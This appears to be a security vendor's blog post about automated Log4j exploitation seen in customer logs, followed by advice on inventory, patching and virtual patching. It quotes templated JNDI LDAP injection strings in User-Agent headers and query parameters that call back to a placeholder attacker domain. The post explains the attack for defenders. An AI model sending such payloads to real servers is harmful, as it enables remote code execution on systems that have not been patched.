A Defender’s View of Log4j in Automated Attacks

When Log4j was first exposed to the public, it was only a matter of time before exploits would be developed and fired at any unsuspecting web server with the chance of getting Remote Code Execution. But to get from “we know there is a problem” to “we know that server has a problem” to getting help takes a few steps.

Patching is painful, pure and simple. It requires finding unpatched devices, applying patches, crossing our fingers we didn’t break anything and moving on. Attackers know this and use it to their advantage. Once a patch is released, attackers don’t stop. They know you are following change control processes that ultimately make patching an even slower process. When it is only a matter of time, time matters. Especially if the released patches don’t fix the problem or they introduce new ones.

As Log4j hit the streets our CQ Prime Threat Research Team began seeing telemetry indicators telling us that attackers had found a way to leverage the vulnerability against our customers. The team saw User-Agent strings lighting up our customer’s logs with tests.

So let’s break Log4j down a bit. The application receives a request, the request is initiated by a user. Typically the application is going to log specific items in order to keep tabs on certain activities, trends and so on. Usually, the logs capture IP addresses, User-Agent strings (the browser used by the user), where the request is going in the application, etc. If there is a problem, then those very logs are a great resource. What to log is a continual discussion. That you should log is not – everyone should log. At the heart of the Log4j vulnerability is the fact that someone figured out that the logging service in use could be told, as part of its logging requirement, to execute other functions. For instance, if a user-agent string is being logged but it contains https://www.example.com/evil.php, the logging service will try to look that up by going there.

Yes, that’s right. You may know this, but it turns out that your server’s log function carries all the other functions of the operating system, and therein lies the vulnerability. Your web or application server shouldn’t initiate outbound connections nor should it attempt to download files. So, we need a patch. Now.

Log4j in the Wild

Out of the theoretical and into the real world, the research team immediately started seeing User-Agents that looked like this: ${jndi:ldap://<server address><location>. These were attacker-controlled LDAP servers looking for a call back from the victim server. Once the callback happened the attacker knew the victim server is vulnerable. It is possible though that the first endpoint the attacker tried wasn’t vulnerable as logging wasn’t enabled, so the attacker will use automation to enumerate through other endpoints to discover locations that are logging.

To date, the research team has seen the following patterns in action against our customers: 70+ header variations tried but most commonly User-Agent and Referrer variations are the most common. In addition to header values that are often logged, we have also seen this type of attack attempted as query string parameters like www.example.com/q=$%7Bjndi:ldap:/<victim>-ca.s.<evildomain>/%7D coming from both suspect organization networks as well as completely legitimate residential networks. Obviously, these are tests running on Bulletproof Proxy networks with a mix of high-value residential proxies used to mask location and identity. Note that if you are logging anything from the response body it is also possible to fire this exploit from that location.

If you’re interested in other attack trends and observations like these, watch the on-demand presentation — 2021 Attack Retrospective: Observations From a Year Like No Other.

Log4j Guidance

The process we are guiding our customers through is to first make sure they have an accurate application inventory. We can see customer web and API endpoints that are being used/attacked and are able to ensure those systems are protected. Even those not in use are being discovered for patching. Inventory is a critical first step, knowing what applications are in need of patching can guide efforts to protect the entire estate.

We have large, diverse customers who are patching like mad. But many systems take time. If the customer isn’t able to patch, we have developed a virtual patch where we block traffic from bad networks that might have exploit code attempts carried in them and are probing or exploiting. In some cases, simply dropping bad traffic with no reason can drive an attacker to go elsewhere. This doesn’t give our customers an excuse not to patch, it just allows them some extra time to ensure all the right systems are patched and operating nominally.

We won’t tell you we will solve all your Log4j problems, but we have developed some internal tools designed to help you understand what applications and APIs are out there, and how they are at risk. If you are interested in a free, outside-in inventory assessment of your apps and APIs, drop us a note in the form below.

Help Me Assess My API Threat Footprint